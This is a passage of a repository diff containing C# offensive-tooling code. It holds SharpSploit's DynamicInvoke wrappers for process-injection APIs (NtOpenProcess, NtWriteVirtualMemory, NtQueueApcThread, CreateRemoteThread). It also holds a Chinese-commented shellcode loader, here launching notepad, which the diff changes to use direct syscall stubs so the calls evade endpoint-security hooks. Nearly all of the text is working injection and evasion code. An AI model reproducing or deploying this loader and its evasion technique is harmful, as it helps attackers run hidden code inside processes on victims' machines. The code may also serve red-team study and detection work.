RtlZeroMemory(pProcInfo, Marshal.SizeOf(PBI));
Marshal.StructureToPtr(PBI, pProcInfo, true);
processInformationLength = Marshal.SizeOf(PBI);
break;
default:
throw new InvalidOperationException($"Invalid ProcessInfoClass: {processInfoClass}");
}
object[] funcargs =
{
hProcess, processInfoClass, pProcInfo, processInformationLength, RetLen
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryInformationProcess", typeof(DELEGATES.NtQueryInformationProcess), ref funcargs);
if (retValue != Execute.Native.NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
// Update the modified variables
pProcInfo = (IntPtr)funcargs[2];
return retValue;
}
public static bool NtQueryInformationProcessWow64Information(IntPtr hProcess)
{
Execute.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Execute.Native.PROCESSINFOCLASS.ProcessWow64Information, out IntPtr pProcInfo);
if (retValue != Execute.Native.NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
if (Marshal.ReadIntPtr(pProcInfo) == IntPtr.Zero)
{
return false;
}
return true;
}
public static Execute.Native.PROCESS_BASIC_INFORMATION NtQueryInformationProcessBasicInformation(IntPtr hProcess)
{
Execute.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Execute.Native.PROCESSINFOCLASS.ProcessBasicInformation, out IntPtr pProcInfo);
if (retValue != Execute.Native.NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
return (Execute.Native.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(Execute.Native.PROCESS_BASIC_INFORMATION));
}
public static IntPtr NtOpenProcess(UInt32 ProcessId, Execute.Win32.Kernel32.ProcessAccessFlags DesiredAccess)
{
// Create OBJECT_ATTRIBUTES & CLIENT_ID ref's
IntPtr ProcessHandle = IntPtr.Zero;
Execute.Native.OBJECT_ATTRIBUTES oa = new Execute.Native.OBJECT_ATTRIBUTES();
Execute.Native.CLIENT_ID ci = new Execute.Native.CLIENT_ID();
ci.UniqueProcess = (IntPtr)ProcessId;
// Craft an array for the arguments
object[] funcargs =
{
ProcessHandle, DesiredAccess, oa, ci
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenProcess", typeof(DELEGATES.NtOpenProcess), ref funcargs);
if (retValue != Execute.Native.NTSTATUS.Success && retValue == Execute.Native.NTSTATUS.InvalidCid)
{
throw new InvalidOperationException("An invalid client ID was specified.");
}
if (retValue != Execute.Native.NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
// Update the modified variables
ProcessHandle = (IntPtr)funcargs[0];
return ProcessHandle;
}
public static void NtQueueApcThread(IntPtr ThreadHandle, IntPtr ApcRoutine, IntPtr ApcArgument1, IntPtr ApcArgument2, IntPtr ApcArgument3)
{
// Craft an array for the arguments
object[] funcargs =
{
ThreadHandle, ApcRoutine, ApcArgument1, ApcArgument2, ApcArgument3
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueueApcThread", typeof(DELEGATES.NtQueueApcThread), ref funcargs);
if (retValue != Execute.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Unable to queue APC, " + retValue);
}
}
public static IntPtr NtOpenThread(int TID, Execute.Win32.Kernel32.ThreadAccess DesiredAccess)
{
// Create OBJECT_ATTRIBUTES & CLIENT_ID ref's
IntPtr ThreadHandle = IntPtr.Zero;
Execute.Native.OBJECT_ATTRIBUTES oa = new Execute.Native.OBJECT_ATTRIBUTES();
Execute.Native.CLIENT_ID ci = new Execute.Native.CLIENT_ID();
ci.UniqueThread = (IntPtr)TID;
// Craft an array for the arguments
object[] funcargs =
{
ThreadHandle, DesiredAccess, oa, ci
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenThread", typeof(DELEGATES.NtOpenProcess), ref funcargs);
if (retValue != Execute.Native.NTSTATUS.Success && retValue == Execute.Native.NTSTATUS.InvalidCid)
{
throw new InvalidOperationException("An invalid client ID was specified.");
}
if (retValue != Execute.Native.NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
// Update the modified variables
ThreadHandle = (IntPtr)funcargs[0];
return ThreadHandle;
}
public static IntPtr NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, Execute.Win32.Kernel32.AllocationType AllocationType, UInt32 Protect)
{
// Craft an array for the arguments
object[] funcargs =
{
ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtAllocateVirtualMemory", typeof(DELEGATES.NtAllocateVirtualMemory), ref funcargs);
if (retValue == Execute.Native.NTSTATUS.AccessDenied)
{
// STATUS_ACCESS_DENIED
throw new UnauthorizedAccessException("Access is denied.");
}
if (retValue == Execute.Native.NTSTATUS.AlreadyCommitted)
{
// STATUS_ALREADY_COMMITTED
throw new InvalidOperationException("The specified address range is already committed.");
}
if (retValue == Execute.Native.NTSTATUS.CommitmentLimit)
{
// STATUS_COMMITMENT_LIMIT
throw new InvalidOperationException("Your system is low on virtual memory.");
}
if (retValue == Execute.Native.NTSTATUS.ConflictingAddresses)
{
// STATUS_CONFLICTING_ADDRESSES
throw new InvalidOperationException("The specified address range conflicts with the address space.");
}
if (retValue == Execute.Native.NTSTATUS.InsufficientResources)
{
// STATUS_INSUFFICIENT_RESOURCES
throw new InvalidOperationException("Insufficient system resources exist to complete the API call.");
}
if (retValue == Execute.Native.NTSTATUS.InvalidHandle)
{
// STATUS_INVALID_HANDLE
throw new InvalidOperationException("An invalid HANDLE was specified.");
}
if (retValue == Execute.Native.NTSTATUS.InvalidPageProtection)
{
// STATUS_INVALID_PAGE_PROTECTION
throw new InvalidOperationException("The specified page protection was not valid.");
}
if (retValue == Execute.Native.NTSTATUS.NoMemory)
{
// STATUS_NO_MEMORY
throw new InvalidOperationException("Not enough virtual memory or paging file quota is available to complete the specified operation.");
}
if (retValue == Execute.Native.NTSTATUS.ObjectTypeMismatch)
{
// STATUS_OBJECT_TYPE_MISMATCH
throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request.");
}
if (retValue != Execute.Native.NTSTATUS.Success)
{
// STATUS_PROCESS_IS_TERMINATING == 0xC000010A
throw new InvalidOperationException("An attempt was made to duplicate an object handle into or out of an exiting process.");
}
BaseAddress = (IntPtr)funcargs[1];
return BaseAddress;
}
public static void NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, Execute.Win32.Kernel32.AllocationType FreeType)
{
// Craft an array for the arguments
object[] funcargs =
{
ProcessHandle, BaseAddress, RegionSize, FreeType
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtFreeVirtualMemory", typeof(DELEGATES.NtFreeVirtualMemory), ref funcargs);
if (retValue == Execute.Native.NTSTATUS.AccessDenied)
{
// STATUS_ACCESS_DENIED
throw new UnauthorizedAccessException("Access is denied.");
}
if (retValue == Execute.Native.NTSTATUS.InvalidHandle)
{
// STATUS_INVALID_HANDLE
throw new InvalidOperationException("An invalid HANDLE was specified.");
}
if (retValue != Execute.Native.NTSTATUS.Success)
{
// STATUS_OBJECT_TYPE_MISMATCH == 0xC0000024
throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request.");
}
}
public static string GetFilenameFromMemoryPointer(IntPtr hProc, IntPtr pMem)
{
// Alloc buffer for result struct
IntPtr pBase = IntPtr.Zero;
IntPtr RegionSize = (IntPtr)0x500;
IntPtr pAlloc = NtAllocateVirtualMemory(hProc, ref pBase, IntPtr.Zero, ref RegionSize, Execute.Win32.Kernel32.AllocationType.Commit | Execute.Win32.Kernel32.AllocationType.Reserve, Execute.Win32.WinNT.PAGE_READWRITE);
// Prepare NtQueryVirtualMemory parameters
Execute.Native.MEMORYINFOCLASS memoryInfoClass = Execute.Native.MEMORYINFOCLASS.MemorySectionName;
UInt32 MemoryInformationLength = 0x500;
UInt32 Retlen = 0;
// Craft an array for the arguments
object[] funcargs =
{
hProc, pMem, memoryInfoClass, pAlloc, MemoryInformationLength, Retlen
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryVirtualMemory", typeof(DELEGATES.NtQueryVirtualMemory), ref funcargs);
string FilePath = string.Empty;
if (retValue == Execute.Native.NTSTATUS.Success)
{
Execute.Native.UNICODE_STRING sn = (Execute.Native.UNICODE_STRING)Marshal.PtrToStructure(pAlloc, typeof(Execute.Native.UNICODE_STRING));
FilePath = Marshal.PtrToStringUni(sn.Buffer);
}
// Free allocation
NtFreeVirtualMemory(hProc, ref pAlloc, ref RegionSize, Execute.Win32.Kernel32.AllocationType.Reserve);
if (retValue == Execute.Native.NTSTATUS.AccessDenied)
{
// STATUS_ACCESS_DENIED
throw new UnauthorizedAccessException("Access is denied.");
}
if (retValue == Execute.Native.NTSTATUS.AccessViolation)
{
// STATUS_ACCESS_VIOLATION
throw new InvalidOperationException("The specified base address is an invalid virtual address.");
}
if (retValue == Execute.Native.NTSTATUS.InfoLengthMismatch)
{
// STATUS_INFO_LENGTH_MISMATCH
throw new InvalidOperationException("The MemoryInformation buffer is larger than MemoryInformationLength.");
}
if (retValue == Execute.Native.NTSTATUS.InvalidParameter)
{
// STATUS_INVALID_PARAMETER
throw new InvalidOperationException("The specified base address is outside the range of accessible addresses.");
}
return FilePath;
}
public static UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect)
{
// Craft an array for the arguments
UInt32 OldProtect = 0;
object[] funcargs =
{
ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtProtectVirtualMemory", typeof(DELEGATES.NtProtectVirtualMemory), ref funcargs);
if (retValue != Execute.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed to change memory protection, " + retValue);
}
OldProtect = (UInt32)funcargs[4];
return OldProtect;
}
public static UInt32 NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, UInt32 BufferLength)
{
// Craft an array for the arguments
UInt32 BytesWritten = 0;
object[] funcargs =
{
ProcessHandle, BaseAddress, Buffer, BufferLength, BytesWritten
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtWriteVirtualMemory", typeof(DELEGATES.NtWriteVirtualMemory), ref funcargs);
if (retValue != Execute.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed to write memory, " + retValue);
}
BytesWritten = (UInt32)funcargs[4];
return BytesWritten;
}
public static IntPtr LdrGetProcedureAddress(IntPtr hModule, IntPtr FunctionName, IntPtr Ordinal, ref IntPtr FunctionAddress)
{
// Craft an array for the arguments
object[] funcargs =
{
hModule, FunctionName, Ordinal, FunctionAddress
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrGetProcedureAddress", typeof(DELEGATES.LdrGetProcedureAddress), ref funcargs);
if (retValue != Execute.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed get procedure address, " + retValue);
}
FunctionAddress = (IntPtr)funcargs[3];
return FunctionAddress;
}
public static void RtlGetVersion(ref Execute.Native.OSVERSIONINFOEX VersionInformation)
{
// Craft an array for the arguments
object[] funcargs =
{
VersionInformation
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlGetVersion", typeof(DELEGATES.RtlGetVersion), ref funcargs);
if (retValue != Execute.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed get procedure address, " + retValue);
}
VersionInformation = (Execute.Native.OSVERSIONINFOEX)funcargs[0];
}
public static UInt32 NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, ref UInt32 NumberOfBytesToRead)
{
// Craft an array for the arguments
UInt32 NumberOfBytesRead = 0;
object[] funcargs =
{
ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtReadVirtualMemory", typeof(DELEGATES.NtReadVirtualMemory), ref funcargs);
if (retValue != Execute.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed to read memory, " + retValue);
}
NumberOfBytesRead = (UInt32)funcargs[4];
return NumberOfBytesRead;
}
public static IntPtr NtOpenFile(ref IntPtr FileHandle, Execute.Win32.Kernel32.FileAccessFlags DesiredAccess, ref Execute.Native.OBJECT_ATTRIBUTES ObjAttr, ref Execute.Native.IO_STATUS_BLOCK IoStatusBlock, Execute.Win32.Kernel32.FileShareFlags ShareAccess, Execute.Win32.Kernel32.FileOpenFlags OpenOptions)
{
// Craft an array for the arguments
object[] funcargs =
{
FileHandle, DesiredAccess, ObjAttr, IoStatusBlock, ShareAccess, OpenOptions
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenFile", typeof(DELEGATES.NtOpenFile), ref funcargs);
if (retValue != Execute.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed to open file, " + retValue);
}
FileHandle = (IntPtr)funcargs[0];
return FileHandle;
}
/// <summary>
/// Holds delegates for API calls in the NT Layer.
/// Must be public so that they may be used with SharpSploit.Execution.DynamicInvoke.Generic.DynamicFunctionInvoke
/// </summary>
/// <example>
///
/// // These delegates may also be used directly.
///
/// // Get a pointer to the NtCreateThreadEx function.
/// IntPtr pFunction = Execution.DynamicInvoke.Generic.GetLibraryAddress(@"ntdll.dll", "NtCreateThreadEx");
///
/// // Create an instance of a NtCreateThreadEx delegate from our function pointer.
/// DELEGATES.NtCreateThreadEx createThread = (NATIVE_DELEGATES.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(
/// pFunction, typeof(NATIVE_DELEGATES.NtCreateThreadEx));
///
/// // Invoke NtCreateThreadEx using the delegate
/// createThread(ref threadHandle, Execute.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Execute.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero,
/// procHandle, startAddress, IntPtr.Zero, Execute.Native.NT_CREATION_FLAGS.HIDE_FROM_DEBUGGER, 0, 0, 0, IntPtr.Zero);
///
/// </example>
public struct DELEGATES
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Execute.Native.NTSTATUS NtCreateThreadEx(
out IntPtr threadHandle,
Execute.Win32.WinNT.ACCESS_MASK desiredAccess,
IntPtr objectAttributes,
IntPtr processHandle,
IntPtr startAddress,
IntPtr parameter,
bool createSuspended,
int stackZeroBits,
int sizeOfStack,
int maximumStackSize,
IntPtr attributeList);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Execute.Native.NTSTATUS RtlCreateUserThread(
IntPtr Process,
IntPtr ThreadSecurityDescriptor,
bool CreateSuspended,
IntPtr ZeroBits,
IntPtr MaximumStackSize,
IntPtr CommittedStackSize,
IntPtr StartAddress,
IntPtr Parameter,
ref IntPtr Thread,
IntPtr ClientId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Execute.Native.NTSTATUS NtCreateSection(
ref IntPtr SectionHandle,
uint DesiredAccess,
IntPtr ObjectAttributes,
ref ulong MaximumSize,
uint SectionPageProtection,
uint AllocationAttributes,
IntPtr FileHandle);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Execute.Native.NTSTATUS NtUnmapViewOfSection(
IntPtr hProc,
IntPtr baseAddr);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Execute.Native.NTSTATUS NtMapViewOfSection(
IntPtr SectionHandle,
IntPtr ProcessHandle,
out IntPtr BaseAddress,
IntPtr ZeroBits,
IntPtr CommitSize,
IntPtr SectionOffset,
out ulong ViewSize,
uint InheritDisposition,
uint AllocationType,
uint Win32Protect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 LdrLoadDll(
IntPtr PathToFile,
UInt32 dwFlags,
ref Execute.Native.UNICODE_STRING ModuleFileName,
ref IntPtr ModuleHandle);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate void RtlInitUnicodeString(
ref Execute.Native.UNICODE_STRING DestinationString,
[MarshalAs(UnmanagedType.LPWStr)]
string SourceString);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate void RtlZeroMemory(
IntPtr Destination,
int length);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtQueryInformationProcess(
IntPtr processHandle,
Execute.Native.PROCESSINFOCLASS processInformationClass,
IntPtr processInformation,
int processInformationLength,
ref UInt32 returnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtOpenProcess(
ref IntPtr ProcessHandle,
Execute.Win32.Kernel32.ProcessAccessFlags DesiredAccess,
ref Execute.Native.OBJECT_ATTRIBUTES ObjectAttributes,
ref Execute.Native.CLIENT_ID ClientId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtQueueApcThread(
IntPtr ThreadHandle,
IntPtr ApcRoutine,
IntPtr ApcArgument1,
IntPtr ApcArgument2,
IntPtr ApcArgument3);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtOpenThread(
ref IntPtr ThreadHandle,
Execute.Win32.Kernel32.ThreadAccess DesiredAccess,
ref Execute.Native.OBJECT_ATTRIBUTES ObjectAttributes,
ref Execute.Native.CLIENT_ID ClientId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
Execute.Win32.Kernel32.AllocationType AllocationType,
UInt32 Protect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtFreeVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ref IntPtr RegionSize,
Execute.Win32.Kernel32.AllocationType FreeType);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtQueryVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
Execute.Native.MEMORYINFOCLASS MemoryInformationClass,
IntPtr MemoryInformation,
UInt32 MemoryInformationLength,
ref UInt32 ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtProtectVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ref IntPtr RegionSize,
UInt32 NewProtect,
ref UInt32 OldProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtWriteVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
IntPtr Buffer,
UInt32 BufferLength,
ref UInt32 BytesWritten);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 RtlUnicodeStringToAnsiString(
ref Execute.Native.ANSI_STRING DestinationString,
ref Execute.Native.UNICODE_STRING SourceString,
bool AllocateDestinationString);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 LdrGetProcedureAddress(
IntPtr hModule,
IntPtr FunctionName,
IntPtr Ordinal,
ref IntPtr FunctionAddress);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 RtlGetVersion(
ref Execution.Native.OSVERSIONINFOEX VersionInformation);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtReadVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
IntPtr Buffer,
UInt32 NumberOfBytesToRead,
ref UInt32 NumberOfBytesRead);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtOpenFile(
ref IntPtr FileHandle,
Execute.Win32.Kernel32.FileAccessFlags DesiredAccess,
ref Execute.Native.OBJECT_ATTRIBUTES ObjAttr,
ref Execute.Native.IO_STATUS_BLOCK IoStatusBlock,
Execute.Win32.Kernel32.FileShareFlags ShareAccess,
Execute.Win32.Kernel32.FileOpenFlags OpenOptions);
}
}
}

174
DynamicInvoke/Win32.cs Normal file
View File

@ -0,0 +1,174 @@
// Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover)
// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
// License: BSD 3-Clause
using System;
using System.Runtime.InteropServices;
using Execute = SharpSploit.Execution;
namespace SharpSploit.Execution.DynamicInvoke
{
/// <summary>
/// Contains function prototypes and wrapper functions for dynamically invoking Win32 API Calls.
/// </summary>
public static class Win32
{
/// <summary>
/// Uses DynamicInvocation to call the OpenProcess Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="dwDesiredAccess"></param>
/// <param name="bInheritHandle"></param>
/// <param name="dwProcessId"></param>
/// <returns></returns>
public static IntPtr OpenProcess(Execute.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId)
{
// Craft an array for the arguments
object[] funcargs =
{
dwDesiredAccess, bInheritHandle, dwProcessId
};
return (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"OpenProcess",
typeof(Delegates.OpenProcess), ref funcargs);
}
public static IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
ref IntPtr lpThreadId)
{
// Craft an array for the arguments
object[] funcargs =
{
hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId
};
IntPtr retValue = (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"CreateRemoteThread",
typeof(Delegates.CreateRemoteThread), ref funcargs);
// Update the modified variables
lpThreadId = (IntPtr)funcargs[6];
return retValue;
}
/// <summary>
/// Uses DynamicInvocation to call the IsWow64Process Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/wow64apiset/nf-wow64apiset-iswow64process
/// </summary>
/// <returns>Returns true if process is WOW64, and false if not (64-bit, or 32-bit on a 32-bit machine).</returns>
public static bool IsWow64Process(IntPtr hProcess, ref bool lpSystemInfo)
{
// Build the set of parameters to pass in to IsWow64Process
object[] funcargs =
{
hProcess, lpSystemInfo
};
bool retVal = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"IsWow64Process", typeof(Delegates.IsWow64Process), ref funcargs);
lpSystemInfo = (bool) funcargs[1];
// Dynamically load and invoke the API call with out parameters
return retVal;
}
/// <summary>
/// Uses DynamicInvocation to call the VirtualAllocEx Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
/// </summary>
/// <returns>Returns the base address of allocated region if successful, otherwise return NULL.</returns>
public static IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
Execute.Win32.Kernel32.AllocationType flAllocationType,
Execute.Win32.Kernel32.MemoryProtection flProtect)
{
// Craft an array for the arguments
object[] funcargs =
{
hProcess, lpAddress, dwSize, flAllocationType, flProtect
};
IntPtr retValue = (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"VirtualAllocEx",
typeof(Delegates.VirtualAllocEx), ref funcargs);
return retValue;
}
/// <summary>
/// Uses DynamicInvocation to call the WriteProcessMemory Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
/// </summary>
/// <returns>Returns true if process memory was written successfully, otherwise return false.</returns>
public static bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten)
{
// Craft an array for the arguments
object[] funcargs =
{
hProcess, lpBaseAddress, lpBuffer, nSize, IntPtr.Zero
};
bool retValue = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"WriteProcessMemory",
typeof(Delegates.WriteProcessMemory), ref funcargs);
// Update bytes written
lpNumberOfBytesWritten = (IntPtr)funcargs[4];
return retValue;
}
public static class Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateRemoteThread(IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate IntPtr OpenProcess(
Execute.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess,
bool bInheritHandle,
UInt32 dwProcessId
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
Execute.Win32.Kernel32.AllocationType flAllocationType,
Execute.Win32.Kernel32.MemoryProtection flProtect
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool IsWow64Process(
IntPtr hProcess, ref bool lpSystemInfo
);
}
}
}

View File

@ -1,7 +1,5 @@
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
namespace D_Invoke_syscall
@ -33,15 +31,16 @@ namespace D_Invoke_syscall
0x32,0x5c,0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x2e,0x65,0x78,0x65,0x00 };
Native.NTSTATUS success;
IntPtr hProcess = Native.GetCurrentProcess(); // 进程句柄,当前进程为-1
IntPtr BaseAddress = IntPtr.Zero; // 接收分配的内存地址
IntPtr ZeroBits = IntPtr.Zero;
UIntPtr RegionSize = new UIntPtr(Convert.ToUInt32(notepadShellcode_x64.Length)); // 申请的内存大小
uint AllocationType = (uint)Native.AllocationType.Commit | (uint)Native.AllocationType.Reserve; // 分配类型
IntPtr RegionSize = new IntPtr(Convert.ToUInt32(notepadShellcode_x64.Length)); // 申请的内存大小
Native.AllocationType AllocationType = Native.AllocationType.Commit | Native.AllocationType.Reserve; // 分配类型
uint Protect = (uint)Native.AllocationProtect.PAGE_EXECUTE_READWRITE; // 内存权限:读写执行
IntPtr pointer = TinySharpSploit.GetLibraryAddress("ntdll.dll", "NtAllocateVirtualMemory");
Delegates.NtAllocateVirtualMemory NtAllocateVirtualMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(Delegates.NtAllocateVirtualMemory)) as Delegates.NtAllocateVirtualMemory;
IntPtr sysPointer = Generic.GetSyscallStub("NtAllocateVirtualMemory");
Delegates.NtAllocateVirtualMemory NtAllocateVirtualMemory = Marshal.GetDelegateForFunctionPointer(sysPointer, typeof(Delegates.NtAllocateVirtualMemory)) as Delegates.NtAllocateVirtualMemory;
success = NtAllocateVirtualMemory(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
Console.WriteLine($"NtAllocateVirtualMemory -> {success}");
Console.WriteLine($"申请的内存地址 -> 0x{BaseAddress.ToString("X")}");
@ -61,8 +60,8 @@ namespace D_Invoke_syscall
uint SizeOfStackReserve = 0xFFFF; // 65535
IntPtr lpBytesBuffer = IntPtr.Zero;
pointer = TinySharpSploit.GetLibraryAddress("ntdll.dll", "NtCreateThreadEx");
Delegates.NtCreateThreadEx NtCreateThreadEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(Delegates.NtCreateThreadEx)) as Delegates.NtCreateThreadEx;
sysPointer = Generic.GetSyscallStub("NtCreateThreadEx");
Delegates.NtCreateThreadEx NtCreateThreadEx = Marshal.GetDelegateForFunctionPointer(sysPointer, typeof(Delegates.NtCreateThreadEx)) as Delegates.NtCreateThreadEx;
success = NtCreateThreadEx(out hThread, DesiredAccess, ObjectAttributes, hProcess, BaseAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer);
Console.WriteLine($"NtCreateThreadEx -> {success}\nThread Id -> {Native.GetThreadId(hThread)}");
@ -70,759 +69,11 @@ namespace D_Invoke_syscall
Console.WriteLine(new Win32Exception());
pointer = TinySharpSploit.GetLibraryAddress("ntdll.dll", "NtWaitForSingleObject");
Delegates.NtWaitForSingleObject NtWaitForSingleObject = Marshal.GetDelegateForFunctionPointer(pointer, typeof(Delegates.NtWaitForSingleObject)) as Delegates.NtWaitForSingleObject;
sysPointer = Generic.GetSyscallStub("NtWaitForSingleObject");
Delegates.NtWaitForSingleObject NtWaitForSingleObject = Marshal.GetDelegateForFunctionPointer(sysPointer, typeof(Delegates.NtWaitForSingleObject)) as Delegates.NtWaitForSingleObject;
success = NtWaitForSingleObject(hThread, false, 0);
Console.WriteLine($"NtWaitForSingleObject -> {success}");
}
}
class Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
